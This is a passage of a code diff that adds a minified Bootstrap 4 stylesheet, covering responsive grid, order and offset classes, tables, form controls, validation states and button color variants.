+ -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% + } + .col-lg-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + .col-lg-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% + } + .col-lg-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% + } + .col-lg-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + .col-lg-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% + } + .col-lg-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% + } + .col-lg-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + .order-lg-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + .order-lg-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + .order-lg-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + .order-lg-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + .order-lg-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + .order-lg-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + .order-lg-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + .order-lg-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + .order-lg-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + .order-lg-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + .order-lg-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + .order-lg-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + .order-lg-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + .order-lg-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + .order-lg-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + .offset-lg-0 { + margin-left: 0 + } + .offset-lg-1 { + margin-left: 8.333333% + } + .offset-lg-2 { + margin-left: 16.666667% + } + .offset-lg-3 { + margin-left: 25% + } + .offset-lg-4 { + margin-left: 33.333333% + } + .offset-lg-5 { + margin-left: 41.666667% + } + .offset-lg-6 { + margin-left: 50% + } + .offset-lg-7 { + margin-left: 58.333333% + } + .offset-lg-8 { + margin-left: 66.666667% + } + .offset-lg-9 { + margin-left: 75% + } + .offset-lg-10 { + margin-left: 83.333333% + } + .offset-lg-11 { + margin-left: 91.666667% + } +} + +@media (min-width:1200px) { + .col-xl { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + .col-xl-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + .col-xl-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% + } + .col-xl-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% + } + .col-xl-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + .col-xl-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% + } + .col-xl-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% + } + .col-xl-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + .col-xl-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% + } + .col-xl-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% + } + .col-xl-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + .col-xl-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% + } + .col-xl-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% + } + .col-xl-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + .order-xl-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + .order-xl-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + .order-xl-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + .order-xl-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + .order-xl-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + .order-xl-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + .order-xl-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + .order-xl-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + .order-xl-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + .order-xl-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + .order-xl-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + .order-xl-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + .order-xl-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + .order-xl-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + .order-xl-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + .offset-xl-0 { + margin-left: 0 + } + .offset-xl-1 { + margin-left: 8.333333% + } + .offset-xl-2 { + margin-left: 16.666667% + } + .offset-xl-3 { + margin-left: 25% + } + .offset-xl-4 { + margin-left: 33.333333% + } + .offset-xl-5 { + margin-left: 41.666667% + } + .offset-xl-6 { + margin-left: 50% + } + .offset-xl-7 { + margin-left: 58.333333% + } + .offset-xl-8 { + margin-left: 66.666667% + } + .offset-xl-9 { + margin-left: 75% + } + .offset-xl-10 { + margin-left: 83.333333% + } + .offset-xl-11 { + margin-left: 91.666667% + } +} + +.table { + width: 100%; + max-width: 100%; + margin-bottom: 1rem; + background-color: transparent +} + +.table td, +.table th { + padding: .75rem; + vertical-align: top; + border-top: 1px solid #dee2e6 +} + +.table thead th { + vertical-align: bottom; + border-bottom: 2px solid #dee2e6 +} + +.table tbody+tbody { + border-top: 2px solid #dee2e6 +} + +.table .table { + background-color: #fff +} + +.table-sm td, +.table-sm th { + padding: .3rem +} + +.table-bordered { + border: 1px solid #dee2e6 +} + +.table-bordered td, +.table-bordered th { + border: 1px solid #dee2e6 +} + +.table-bordered thead td, +.table-bordered thead th { + border-bottom-width: 2px +} + +.table-striped tbody tr:nth-of-type(odd) { + background-color: rgba(0, 0, 0, .05) +} + +.table-hover tbody tr:hover { + background-color: rgba(0, 0, 0, .075) +} + +.table-primary, +.table-primary>td, +.table-primary>th { + background-color: #b8daff +} + +.table-hover .table-primary:hover { + background-color: #9fcdff +} + +.table-hover .table-primary:hover>td, +.table-hover .table-primary:hover>th { + background-color: #9fcdff +} + +.table-secondary, +.table-secondary>td, +.table-secondary>th { + background-color: #d6d8db +} + +.table-hover .table-secondary:hover { + background-color: #c8cbcf +} + +.table-hover .table-secondary:hover>td, +.table-hover .table-secondary:hover>th { + background-color: #c8cbcf +} + +.table-success, +.table-success>td, +.table-success>th { + background-color: #c3e6cb +} + +.table-hover .table-success:hover { + background-color: #b1dfbb +} + +.table-hover .table-success:hover>td, +.table-hover .table-success:hover>th { + background-color: #b1dfbb +} + +.table-info, +.table-info>td, +.table-info>th { + background-color: #bee5eb +} + +.table-hover .table-info:hover { + background-color: #abdde5 +} + +.table-hover .table-info:hover>td, +.table-hover .table-info:hover>th { + background-color: #abdde5 +} + +.table-warning, +.table-warning>td, +.table-warning>th { + background-color: #ffeeba +} + +.table-hover .table-warning:hover { + background-color: #ffe8a1 +} + +.table-hover .table-warning:hover>td, +.table-hover .table-warning:hover>th { + background-color: #ffe8a1 +} + +.table-danger, +.table-danger>td, +.table-danger>th { + background-color: #f5c6cb +} + +.table-hover .table-danger:hover { + background-color: #f1b0b7 +} + +.table-hover .table-danger:hover>td, +.table-hover .table-danger:hover>th { + background-color: #f1b0b7 +} + +.table-light, +.table-light>td, +.table-light>th { + background-color: #fdfdfe +} + +.table-hover .table-light:hover { + background-color: #ececf6 +} + +.table-hover .table-light:hover>td, +.table-hover .table-light:hover>th { + background-color: #ececf6 +} + +.table-dark, +.table-dark>td, +.table-dark>th { + background-color: #c6c8ca +} + +.table-hover .table-dark:hover { + background-color: #b9bbbe +} + +.table-hover .table-dark:hover>td, +.table-hover .table-dark:hover>th { + background-color: #b9bbbe +} + +.table-active, +.table-active>td, +.table-active>th { + background-color: rgba(0, 0, 0, .075) +} + +.table-hover .table-active:hover { + background-color: rgba(0, 0, 0, .075) +} + +.table-hover .table-active:hover>td, +.table-hover .table-active:hover>th { + background-color: rgba(0, 0, 0, .075) +} + +.table .thead-dark th { + color: #fff; + background-color: #212529; + border-color: #32383e +} + +.table .thead-light th { + color: #495057; + background-color: #e9ecef; + border-color: #dee2e6 +} + +.table-dark { + color: #fff; + background-color: #212529 +} + +.table-dark td, +.table-dark th, +.table-dark thead th { + border-color: #32383e +} + +.table-dark.table-bordered { + border: 0 +} + +.table-dark.table-striped tbody tr:nth-of-type(odd) { + background-color: rgba(255, 255, 255, .05) +} + +.table-dark.table-hover tbody tr:hover { + background-color: rgba(255, 255, 255, .075) +} + +@media (max-width:575.98px) { + .table-responsive-sm { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar + } + .table-responsive-sm>.table-bordered { + border: 0 + } +} + +@media (max-width:767.98px) { + .table-responsive-md { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar + } + .table-responsive-md>.table-bordered { + border: 0 + } +} + +@media (max-width:991.98px) { + .table-responsive-lg { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar + } + .table-responsive-lg>.table-bordered { + border: 0 + } +} + +@media (max-width:1199.98px) { + .table-responsive-xl { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar + } + .table-responsive-xl>.table-bordered { + border: 0 + } +} + +.table-responsive { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar +} + +.table-responsive>.table-bordered { + border: 0 +} + +.form-control { + display: block; + width: 100%; + padding: .375rem .75rem; + font-size: 1rem; + line-height: 1.5; + color: #495057; + background-color: #fff; + background-clip: padding-box; + border: 1px solid #ced4da; + border-radius: .25rem; + transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out +} + +.form-control::-ms-expand { + background-color: transparent; + border: 0 +} + +.form-control:focus { + color: #495057; + background-color: #fff; + border-color: #80bdff; + outline: 0; + box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25) +} + +.form-control::-webkit-input-placeholder { + color: #6c757d; + opacity: 1 +} + +.form-control::-moz-placeholder { + color: #6c757d; + opacity: 1 +} + +.form-control:-ms-input-placeholder { + color: #6c757d; + opacity: 1 +} + +.form-control::-ms-input-placeholder { + color: #6c757d; + opacity: 1 +} + +.form-control::placeholder { + color: #6c757d; + opacity: 1 +} + +.form-control:disabled, +.form-control[readonly] { + background-color: #e9ecef; + opacity: 1 +} + +select.form-control:not([size]):not([multiple]) { + height: calc(2.25rem + 2px) +} + +select.form-control:focus::-ms-value { + color: #495057; + background-color: #fff +} + +.form-control-file, +.form-control-range { + display: block; + width: 100% +} + +.col-form-label { + padding-top: calc(.375rem + 1px); + padding-bottom: calc(.375rem + 1px); + margin-bottom: 0; + font-size: inherit; + line-height: 1.5 +} + +.col-form-label-lg { + padding-top: calc(.5rem + 1px); + padding-bottom: calc(.5rem + 1px); + font-size: 1.25rem; + line-height: 1.5 +} + +.col-form-label-sm { + padding-top: calc(.25rem + 1px); + padding-bottom: calc(.25rem + 1px); + font-size: .875rem; + line-height: 1.5 +} + +.form-control-plaintext { + display: block; + width: 100%; + padding-top: .375rem; + padding-bottom: .375rem; + margin-bottom: 0; + line-height: 1.5; + background-color: transparent; + border: solid transparent; + border-width: 1px 0 +} + +.form-control-plaintext.form-control-lg, +.form-control-plaintext.form-control-sm, +.input-group-lg>.form-control-plaintext.form-control, +.input-group-lg>.input-group-append>.form-control-plaintext.btn, +.input-group-lg>.input-group-append>.form-control-plaintext.input-group-text, +.input-group-lg>.input-group-prepend>.form-control-plaintext.btn, +.input-group-lg>.input-group-prepend>.form-control-plaintext.input-group-text, +.input-group-sm>.form-control-plaintext.form-control, +.input-group-sm>.input-group-append>.form-control-plaintext.btn, +.input-group-sm>.input-group-append>.form-control-plaintext.input-group-text, +.input-group-sm>.input-group-prepend>.form-control-plaintext.btn, +.input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text { + padding-right: 0; + padding-left: 0 +} + +.form-control-sm, +.input-group-sm>.form-control, +.input-group-sm>.input-group-append>.btn, +.input-group-sm>.input-group-append>.input-group-text, +.input-group-sm>.input-group-prepend>.btn, +.input-group-sm>.input-group-prepend>.input-group-text { + padding: .25rem .5rem; + font-size: .875rem; + line-height: 1.5; + border-radius: .2rem +} + +.input-group-sm>.input-group-append>select.btn:not([size]):not([multiple]), +.input-group-sm>.input-group-append>select.input-group-text:not([size]):not([multiple]), +.input-group-sm>.input-group-prepend>select.btn:not([size]):not([multiple]), +.input-group-sm>.input-group-prepend>select.input-group-text:not([size]):not([multiple]), +.input-group-sm>select.form-control:not([size]):not([multiple]), +select.form-control-sm:not([size]):not([multiple]) { + height: calc(1.8125rem + 2px) +} + +.form-control-lg, +.input-group-lg>.form-control, +.input-group-lg>.input-group-append>.btn, +.input-group-lg>.input-group-append>.input-group-text, +.input-group-lg>.input-group-prepend>.btn, +.input-group-lg>.input-group-prepend>.input-group-text { + padding: .5rem 1rem; + font-size: 1.25rem; + line-height: 1.5; + border-radius: .3rem +} + +.input-group-lg>.input-group-append>select.btn:not([size]):not([multiple]), +.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]), +.input-group-lg>.input-group-prepend>select.btn:not([size]):not([multiple]), +.input-group-lg>.input-group-prepend>select.input-group-text:not([size]):not([multiple]), +.input-group-lg>select.form-control:not([size]):not([multiple]), +select.form-control-lg:not([size]):not([multiple]) { + height: calc(2.875rem + 2px) +} + +.form-group { + margin-bottom: 1rem +} + +.form-text { + display: block; + margin-top: .25rem +} + +.form-row { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: -5px; + margin-left: -5px +} + +.form-row>.col, +.form-row>[class*=col-] { + padding-right: 5px; + padding-left: 5px +} + +.form-check { + position: relative; + display: block; + padding-left: 1.25rem +} + +.form-check-input { + position: absolute; + margin-top: .3rem; + margin-left: -1.25rem +} + +.form-check-input:disabled~.form-check-label { + color: #6c757d +} + +.form-check-label { + margin-bottom: 0 +} + +.form-check-inline { + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + padding-left: 0; + margin-right: .75rem +} + +.form-check-inline .form-check-input { + position: static; + margin-top: 0; + margin-right: .3125rem; + margin-left: 0 +} + +.valid-feedback { + display: none; + width: 100%; + margin-top: .25rem; + font-size: 80%; + color: #28a745 +} + +.valid-tooltip { + position: absolute; + top: 100%; + z-index: 5; + display: none; + max-width: 100%; + padding: .5rem; + margin-top: .1rem; + font-size: .875rem; + line-height: 1; + color: #fff; + background-color: rgba(40, 167, 69, .8); + border-radius: .2rem +} + +.custom-select.is-valid, +.form-control.is-valid, +.was-validated .custom-select:valid, +.was-validated .form-control:valid { + border-color: #28a745 +} + +.custom-select.is-valid:focus, +.form-control.is-valid:focus, +.was-validated .custom-select:valid:focus, +.was-validated .form-control:valid:focus { + border-color: #28a745; + box-shadow: 0 0 0 .2rem rgba(40, 167, 69, .25) +} + +.custom-select.is-valid~.valid-feedback, +.custom-select.is-valid~.valid-tooltip, +.form-control.is-valid~.valid-feedback, +.form-control.is-valid~.valid-tooltip, +.was-validated .custom-select:valid~.valid-feedback, +.was-validated .custom-select:valid~.valid-tooltip, +.was-validated .form-control:valid~.valid-feedback, +.was-validated .form-control:valid~.valid-tooltip { + display: block +} + +.form-check-input.is-valid~.form-check-label, +.was-validated .form-check-input:valid~.form-check-label { + color: #28a745 +} + +.form-check-input.is-valid~.valid-feedback, +.form-check-input.is-valid~.valid-tooltip, +.was-validated .form-check-input:valid~.valid-feedback, +.was-validated .form-check-input:valid~.valid-tooltip { + display: block +} + +.custom-control-input.is-valid~.custom-control-label, +.was-validated .custom-control-input:valid~.custom-control-label { + color: #28a745 +} + +.custom-control-input.is-valid~.custom-control-label::before, +.was-validated .custom-control-input:valid~.custom-control-label::before { + background-color: #71dd8a +} + +.custom-control-input.is-valid~.valid-feedback, +.custom-control-input.is-valid~.valid-tooltip, +.was-validated .custom-control-input:valid~.valid-feedback, +.was-validated .custom-control-input:valid~.valid-tooltip { + display: block +} + +.custom-control-input.is-valid:checked~.custom-control-label::before, +.was-validated .custom-control-input:valid:checked~.custom-control-label::before { + background-color: #34ce57 +} + +.custom-control-input.is-valid:focus~.custom-control-label::before, +.was-validated .custom-control-input:valid:focus~.custom-control-label::before { + box-shadow: 0 0 0 1px #fff, 0 0 0 .2rem rgba(40, 167, 69, .25) +} + +.custom-file-input.is-valid~.custom-file-label, +.was-validated .custom-file-input:valid~.custom-file-label { + border-color: #28a745 +} + +.custom-file-input.is-valid~.custom-file-label::before, +.was-validated .custom-file-input:valid~.custom-file-label::before { + border-color: inherit +} + +.custom-file-input.is-valid~.valid-feedback, +.custom-file-input.is-valid~.valid-tooltip, +.was-validated .custom-file-input:valid~.valid-feedback, +.was-validated .custom-file-input:valid~.valid-tooltip { + display: block +} + +.custom-file-input.is-valid:focus~.custom-file-label, +.was-validated .custom-file-input:valid:focus~.custom-file-label { + box-shadow: 0 0 0 .2rem rgba(40, 167, 69, .25) +} + +.invalid-feedback { + display: none; + width: 100%; + margin-top: .25rem; + font-size: 80%; + color: #dc3545 +} + +.invalid-tooltip { + position: absolute; + top: 100%; + z-index: 5; + display: none; + max-width: 100%; + padding: .5rem; + margin-top: .1rem; + font-size: .875rem; + line-height: 1; + color: #fff; + background-color: rgba(220, 53, 69, .8); + border-radius: .2rem +} + +.custom-select.is-invalid, +.form-control.is-invalid, +.was-validated .custom-select:invalid, +.was-validated .form-control:invalid { + border-color: #dc3545 +} + +.custom-select.is-invalid:focus, +.form-control.is-invalid:focus, +.was-validated .custom-select:invalid:focus, +.was-validated .form-control:invalid:focus { + border-color: #dc3545; + box-shadow: 0 0 0 .2rem rgba(220, 53, 69, .25) +} + +.custom-select.is-invalid~.invalid-feedback, +.custom-select.is-invalid~.invalid-tooltip, +.form-control.is-invalid~.invalid-feedback, +.form-control.is-invalid~.invalid-tooltip, +.was-validated .custom-select:invalid~.invalid-feedback, +.was-validated .custom-select:invalid~.invalid-tooltip, +.was-validated .form-control:invalid~.invalid-feedback, +.was-validated .form-control:invalid~.invalid-tooltip { + display: block +} + +.form-check-input.is-invalid~.form-check-label, +.was-validated .form-check-input:invalid~.form-check-label { + color: #dc3545 +} + +.form-check-input.is-invalid~.invalid-feedback, +.form-check-input.is-invalid~.invalid-tooltip, +.was-validated .form-check-input:invalid~.invalid-feedback, +.was-validated .form-check-input:invalid~.invalid-tooltip { + display: block +} + +.custom-control-input.is-invalid~.custom-control-label, +.was-validated .custom-control-input:invalid~.custom-control-label { + color: #dc3545 +} + +.custom-control-input.is-invalid~.custom-control-label::before, +.was-validated .custom-control-input:invalid~.custom-control-label::before { + background-color: #efa2a9 +} + +.custom-control-input.is-invalid~.invalid-feedback, +.custom-control-input.is-invalid~.invalid-tooltip, +.was-validated .custom-control-input:invalid~.invalid-feedback, +.was-validated .custom-control-input:invalid~.invalid-tooltip { + display: block +} + +.custom-control-input.is-invalid:checked~.custom-control-label::before, +.was-validated .custom-control-input:invalid:checked~.custom-control-label::before { + background-color: #e4606d +} + +.custom-control-input.is-invalid:focus~.custom-control-label::before, +.was-validated .custom-control-input:invalid:focus~.custom-control-label::before { + box-shadow: 0 0 0 1px #fff, 0 0 0 .2rem rgba(220, 53, 69, .25) +} + +.custom-file-input.is-invalid~.custom-file-label, +.was-validated .custom-file-input:invalid~.custom-file-label { + border-color: #dc3545 +} + +.custom-file-input.is-invalid~.custom-file-label::before, +.was-validated .custom-file-input:invalid~.custom-file-label::before { + border-color: inherit +} + +.custom-file-input.is-invalid~.invalid-feedback, +.custom-file-input.is-invalid~.invalid-tooltip, +.was-validated .custom-file-input:invalid~.invalid-feedback, +.was-validated .custom-file-input:invalid~.invalid-tooltip { + display: block +} + +.custom-file-input.is-invalid:focus~.custom-file-label, +.was-validated .custom-file-input:invalid:focus~.custom-file-label { + box-shadow: 0 0 0 .2rem rgba(220, 53, 69, .25) +} + +.form-inline { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.form-inline .form-check { + width: 100% +} + +@media (min-width:576px) { + .form-inline label { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + margin-bottom: 0 + } + .form-inline .form-group { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + margin-bottom: 0 + } + .form-inline .form-control { + display: inline-block; + width: auto; + vertical-align: middle + } + .form-inline .form-control-plaintext { + display: inline-block + } + .form-inline .input-group { + width: auto + } + .form-inline .form-check { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + width: auto; + padding-left: 0 + } + .form-inline .form-check-input { + position: relative; + margin-top: 0; + margin-right: .25rem; + margin-left: 0 + } + .form-inline .custom-control { + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center + } + .form-inline .custom-control-label { + margin-bottom: 0 + } +} + +.btn { + display: inline-block; + font-weight: 400; + text-align: center; + white-space: nowrap; + vertical-align: middle; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + border: 1px solid transparent; + padding: .375rem .75rem; + font-size: 1rem; + line-height: 1.5; + border-radius: .25rem; + transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out +} + +.btn:focus, +.btn:hover { + text-decoration: none +} + +.btn.focus, +.btn:focus { + outline: 0; + box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25) +} + +.btn.disabled, +.btn:disabled { + opacity: .65 +} + +.btn:not(:disabled):not(.disabled) { + cursor: pointer +} + +.btn:not(:disabled):not(.disabled).active, +.btn:not(:disabled):not(.disabled):active { + background-image: none +} + +a.btn.disabled, +fieldset:disabled a.btn { + pointer-events: none +} + +.btn-primary { + color: #fff; + background-color: #007bff; + border-color: #007bff +} + +.btn-primary:hover { + color: #fff; + background-color: #0069d9; + border-color: #0062cc +} + +.btn-primary.focus, +.btn-primary:focus { + box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .5) +} + +.btn-primary.disabled, +.btn-primary:disabled { + color: #fff; + background-color: #007bff; + border-color: #007bff +} + +.btn-primary:not(:disabled):not(.disabled).active, +.btn-primary:not(:disabled):not(.disabled):active, +.show>.btn-primary.dropdown-toggle { + color: #fff; + background-color: #0062cc; + border-color: #005cbf +} + +.btn-primary:not(:disabled):not(.disabled).active:focus, +.btn-primary:not(:disabled):not(.disabled):active:focus, +.show>.btn-primary.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .5) +} + +.btn-secondary { + color: #fff; + background-color: #6c757d; + border-color: #6c757d +} + +.btn-secondary:hover { + color: #fff; + background-color: #5a6268; + border-color: #545b62 +} + +.btn-secondary.focus, +.btn-secondary:focus { + box-shadow: 0 0 0 .2rem rgba(108, 117, 125, .5) +} + +.btn-secondary.disabled, +.btn-secondary:disabled { + color: #fff; + background-color: #6c757d; + border-color: #6c757d +} + +.btn-secondary:not(:disabled):not(.disabled).active, +.btn-secondary:not(:disabled):not(.disabled):active, +.show>.btn-secondary.dropdown-toggle { + color: #fff; + background-color: #545b62; + border-color: #4e555b +} + +.btn-secondary:not(:disabled):not(.disabled).active:focus, +.btn-secondary:not(:disabled):not(.disabled):active:focus, +.show>.btn-secondary.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(108, 117, 125, .5) +} + +.btn-success { + color: #fff; + background-color: #28a745; + border-color: #28a745 +} + +.btn-success:hover { + color: #fff; + background-color: #218838; + border-color: #1e7e34 +} + +.btn-success.focus, +.btn-success:focus { + box-shadow: 0 0 0 .2rem rgba(40, 167, 69, .5) +} + +.btn-success.disabled, +.btn-success:disabled { + color: #fff; + background-color: #28a745; + border-color: #28a745 +} + +.btn-success:not(:disabled):not(.disabled).active, +.btn-success:not(:disabled):not(.disabled):active, +.show>.btn-success.dropdown-toggle { + color: #fff; + background-color: #1e7e34; + border-color: #1c7430 +} + +.btn-success:not(:disabled):not(.disabled).active:focus, +.btn-success:not(:disabled):not(.disabled):active:focus, +.show>.btn-success.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(40, 167, 69, .5) +} + +.btn-info { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8 +} + +.btn-info:hover { + color: #fff; + background-color: #138496; + border-color: #117a8b +} + +.btn-info.focus, +.btn-info:focus { + box-shadow: 0 0 0 .2rem rgba(23, 162, 184, .5) +} + +.btn-info.disabled, +.btn-info:disabled { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8 +} + +.btn-info:not(:disabled):not(.disabled).active, +.btn-info:not(:disabled):not(.disabled):active, +.show>.btn-info.dropdown-toggle { + color: #fff; + background-color: #117a8b; + border-color: #10707f +} + +.btn-info:not(:disabled):not(.disabled).active:focus, +.btn-info:not(:disabled):not(.disabled):active:focus, +.show>.btn-info.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(23, 162, 184, .5) +} + +.btn-warning { + color: #212529; + background-color: #ffc107; + border-color: #ffc107 +} + +.btn-warning:hover { + color: #212529; + background-color: #e0a800; + border-color: #d39e00 +} + +.btn-warning.focus, +.btn-warning:focus { + box-shadow: 0 0 0 .2rem rgba(255, 193, 7, .5) +} + +.btn-warning.disabled, +.btn-warning:disabled { + color: #212529; + background-color: #ffc107; + border-color: #ffc107 +} + +.btn-warning:not(:disabled):not(.disabled).active, +.btn-warning:not(:disabled):not(.disabled):active, +.show>.btn-warning.dropdown-toggle { + color: #212529; + background-color: #d39e00; + border-color: #c69500 +} + +.btn-warning:not(:disabled):not(.disabled).active:focus, +.btn-warning:not(:disabled):not(.disabled):active:focus, +.show>.btn-warning.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(255, 193, 7, .5) +} + +.btn-danger { + color: #fff; + background-color: #dc3545; + border-color: #dc3545 +} + +.btn-danger:hover { + color: #fff; + background-color: #c82333; + border-color: #bd2130 +} + +.btn-danger.focus, +.btn-danger:focus { + box-shadow: 0 0 0 .2rem rgba(220, 53, 69, .5) +} + +.btn-danger.disabled, +.btn-danger:disabled { + color: #fff; + background-color: #dc3545; + border-color: #dc3545 +} + +.btn-danger:not(:disabled):not(.disabled).active, +.btn-danger:not(:disabled):not(.disabled):active, +.show>.btn-danger.dropdown-toggle { + color: #fff; + background-color: #bd2130; + border-color: #b21f2d +} + +.btn-danger:not(:disabled):not(.disabled).active:focus, +.btn-danger:not(:disabled):not(.disabled):active:focus, +.show>.btn-danger.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(220, 53, 69, .5) +} + +.btn-light { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa +} + +.btn-light:hover { + color: #212529; + background-color: #e2e6ea; + border-color: #dae0e5 +} + +.btn-light.focus, +.btn-light:focus { + box-shadow: 0 0 0 .2rem rgba(248, 249, 250, .5) +} + +.btn-light.disabled, 